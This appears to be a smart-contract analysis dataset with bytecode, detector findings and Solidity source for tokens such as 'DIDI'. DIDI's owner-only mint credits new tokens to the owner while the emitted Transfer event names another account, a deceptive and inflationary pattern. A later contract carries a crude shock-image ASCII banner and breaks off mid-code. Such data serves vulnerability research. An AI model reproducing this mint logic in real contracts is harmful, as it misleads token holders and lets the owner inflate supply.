0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80638da5cb5b11610097578063aa271e1a11610066578063aa271e1a146102fd578063cf456ae714610323578063dd62ed3e14610351578063f2fde38b1461037f576100f5565b80638da5cb5b1461027957806395d89b411461029d5780639dc29fac146102a5578063a9059cbb146102d1576100f5565b806323b872dd116100d357806323b872dd146101d1578063313ce5671461020757806340c10f191461022557806370a0823114610253576100f5565b806306fdde03146100fa578063095ea7b31461017757806318160ddd146101b7575b600080fd5b6101026103a5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561018d57600080fd5b506001600160a01b038135169060200135610433565b604080519115158252519081900360200190f35b6101bf610499565b60408051918252519081900360200190f35b6101a3600480360360608110156101e757600080fd5b506001600160a01b0381358116916020810135909116906040013561049f565b61020f610552565b6040805160ff9092168252519081900360200190f35b6102516004803603604081101561023b57600080fd5b506001600160a01b03813516906020013561055b565b005b6101bf6004803603602081101561026957600080fd5b50356001600160a01b03166105ba565b6102816105d5565b604080516001600160a01b039092168252519081900360200190f35b6101026105e9565b610251600480360360408110156102bb57600080fd5b506001600160a01b038135169060200135610644565b6101a3600480360360408110156102e757600080fd5b506001600160a01b03813516906020013561074e565b6101a36004803603602081101561031357600080fd5b50356001600160a01b0316610764565b6102516004803603604081101561033957600080fd5b506001600160a01b0381351690602001351515610779565b6101bf6004803603604081101561036757600080fd5b506001600160a01b03813581169160200135166107fc565b6102516004803603602081101561039557600080fd5b50356001600160a01b0316610827565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561042b5780601f106104005761010080835404028352916020019161042b565b820191906000526020600020905b81548152906001019060200180831161040e57829003601f168201915b505050505081565b3360008181526001602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025490565b60006001600160a01b03841633148015906104df57506001600160a01b038416600090815260016020908152604080832033845290915290205460001914155b1561053d576001600160a01b0384166000908152600160209081526040808320338452909152902054610518908363ffffffff61093316565b6001600160a01b03851660009081526001602090815260408083203384529091529020555b610548848484610948565b5060019392505050565b60055460ff1681565b3360009081526006602052604090205460ff166105ac576040805162461bcd60e51b815260206004820152600a6024820152692737ba1026b4b73a32b960b11b604482015290519081900360640190fd5b6105b68282610a13565b5050565b6001600160a01b031660009081526020819052604090205490565b60055461010090046001600160a01b031681565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561042b5780601f106104005761010080835404028352916020019161042b565b6001600160a01b038216331480159061068257506001600160a01b038216600090815260016020908152604080832033845290915290205460001914155b156106e0576001600160a01b03821660009081526001602090815260408083203384529091529020546106bb908263ffffffff61093316565b6001600160a01b03831660009081526001602090815260408083203384529091529020555b6001600160a01b038216600090815260208190526040902054811115610744576040805162461bcd60e51b8152602060048201526014602482015273696e73756666696369656e742d62616c616e636560601b604482015290519081900360640190fd5b6105b68282610ab0565b600061075b338484610948565b50600192915050565b60066020526000908152604090205460ff1681565b60055461010090046001600160a01b031633146107d1576040805162461bcd60e51b81526020600482015260116024820152701c195c9b5a5cdcda5bdb8819195b9a5959607a1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60055461010090046001600160a01b0316331461087f576040805162461bcd60e51b81526020600482015260116024820152701c195c9b5a5cdcda5bdb8819195b9a5959607a1b604482015290519081900360640190fd5b6001600160a01b0381166108cc576040805162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206164647265737360881b604482015290519081900360640190fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282111561094257600080fd5b50900390565b6001600160a01b03821661095b57600080fd5b6001600160a01b038316600090815260208190526040902054610984908263ffffffff61093316565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546109b9908263ffffffff610b4d16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6001600160a01b038216600090815260208190526040902054610a3c908263ffffffff610b4d16565b6001600160a01b038316600090815260208190526040902055600254610a68908263ffffffff610b4d16565b6002556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b038216600090815260208190526040902054610ad9908263ffffffff61093316565b6001600160a01b038316600090815260208190526040902055600254610b05908263ffffffff61093316565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600082820183811015610b5f57600080fd5b939250505056fea265627a7a72315820cca15091b1bb9191115a9967c7b33c58378eebb886aa113845b9dd95c1b12c2864736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,091 |
0x76a68ad9db575393d877209fee9fff81e6805659
|
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20,Pausable {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
whenNotPaused
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool) {
require(_value == 0 || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
whenNotPaused
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
whenNotPaused
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract DIDI is BurnableToken {
// If ether is sent to this address, send it back.
function () public {
revert();
}
string public constant name = "didi.finance";
string public constant symbol = "DIDI";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 50000000;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function mint(address account, uint256 amount) public onlyOwner {
require(account != address(0));
totalSupply_ = totalSupply_.add(amount);
balances[owner] = balances[owner].add(amount);
emit Transfer(address(0), account, amount);
}
}
|
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610124578063095ea7b3146101b457806318160ddd1461021957806323b872dd146102445780632ff2e9dc146102c9578063313ce567146102f45780633f4ba83a1461032557806340c10f191461033c57806342966c68146103895780635c975abb146103b657806366188463146103e557806370a082311461044a57806379cc6790146104a15780638456cb59146104ee5780638da5cb5b1461050557806395d89b411461055c578063a9059cbb146105ec578063d73dd62314610651578063dd62ed3e146106b6578063f2fde38b1461072d575b34801561011e57600080fd5b50600080fd5b34801561013057600080fd5b50610139610770565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c057600080fd5b506101ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107a9565b604051808215151515815260200191505060405180910390f35b34801561022557600080fd5b5061022e61094c565b6040518082815260200191505060405180910390f35b34801561025057600080fd5b506102af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156102d557600080fd5b506102de610d31565b6040518082815260200191505060405180910390f35b34801561030057600080fd5b50610309610d39565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033157600080fd5b5061033a610d3e565b005b34801561034857600080fd5b50610387600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dfc565b005b34801561039557600080fd5b506103b460048036038101908080359060200190929190505050610fef565b005b3480156103c257600080fd5b506103cb610ffc565b604051808215151515815260200191505060405180910390f35b3480156103f157600080fd5b50610430600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061100f565b604051808215151515815260200191505060405180910390f35b34801561045657600080fd5b5061048b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112bd565b6040518082815260200191505060405180910390f35b3480156104ad57600080fd5b506104ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611306565b005b3480156104fa57600080fd5b506105036114ae565b005b34801561051157600080fd5b5061051a61156e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056857600080fd5b50610571611593565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105b1578082015181840152602081019050610596565b50505050905090810190601f1680156105de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105f857600080fd5b50610637600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115cc565b604051808215151515815260200191505060405180910390f35b34801561065d57600080fd5b5061069c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061180c565b604051808215151515815260200191505060405180910390f35b3480156106c257600080fd5b50610717600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a23565b6040518082815260200191505060405180910390f35b34801561073957600080fd5b5061076e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aaa565b005b6040805190810160405280600c81526020017f646964692e66696e616e6365000000000000000000000000000000000000000081525081565b60008060149054906101000a900460ff161515156107c657600080fd5b600082148061085157506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561085c57600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b60008060149054906101000a900460ff1615151561097357600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109c157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a4c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a8857600080fd5b610ada82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1190919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b6f82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6302faf08081565b601281565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d9957600080fd5b600060149054906101000a900460ff161515610db457600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610e9357600080fd5b610ea881600354611b3290919063ffffffff16565b600381905550610f2181600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3290919063ffffffff16565b600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b610ff93382611b53565b50565b600060149054906101000a900460ff1681565b600080600060149054906101000a900460ff1615151561102e57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808310151561113d576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d1565b6111508382611b1190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561139157600080fd5b61142081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1190919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114aa8282611b53565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561150957600080fd5b600060149054906101000a900460ff1615151561152557600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f444944490000000000000000000000000000000000000000000000000000000081525081565b60008060149054906101000a900460ff161515156115e957600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561163757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561167357600080fd5b6116c582600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1190919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061175a82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060149054906101000a900460ff1615151561182957600080fd5b6118b882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b0557600080fd5b611b0e81611d09565b50565b600080838311151515611b2357600080fd5b82840390508091505092915050565b6000808284019050838110151515611b4957600080fd5b8091505092915050565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611ba157600080fd5b611bf381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1190919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c4b81600354611b1190919063ffffffff16565b6003819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611d4557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820eaf71304fb7aa4ac9cf361988eacb453e06a84c359e9ac327b41aeaf5f9129510029
|
{"success": true, "error": null, "results": {}}
| 4,092 |
0x8D083c91BD384556Af6b638A3476762E6B504Eb1
|
pragma solidity ^0.8.10;
// SPDX-License-Identifier: Unlicensed
/*
* * * * * * * * * * * * * * * * * * * * * * * * *
* *
* / \ \ / \ *
*| | \ | | *
*| `. | | : *
*` | | \| | *
* \ | / / \\\ ____ \\ : *
* \ \/ ___~~ ~____| \ | *
* \ \__~ ~__\ | *
* \_ \ _.______ .______\| | *
* \ \______// _ ___ _ (_(__> \ | *
* \ . C ___) ______ (_(____> | / *
* /\ | C ____)/ \ (_____> |_/ *
* / /\| C_____) | (___> / \ *
* | ( _C_____)\______/ // _/ / \ *
* | \ |__ \\_________// (__/ | *
* | \ \____) `____ ___' | *
* | \_ ___\ /_ _/ | *
* | / | | \ | *
* | | / \ \ | *
* | / / | | \ |*
* | / / \__/\___/ | |*
* | / | | | |*
* | | | | | |*
* * * * * * * * * * * * * * * * * * * * * * * * *
G O A T S E
*/
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
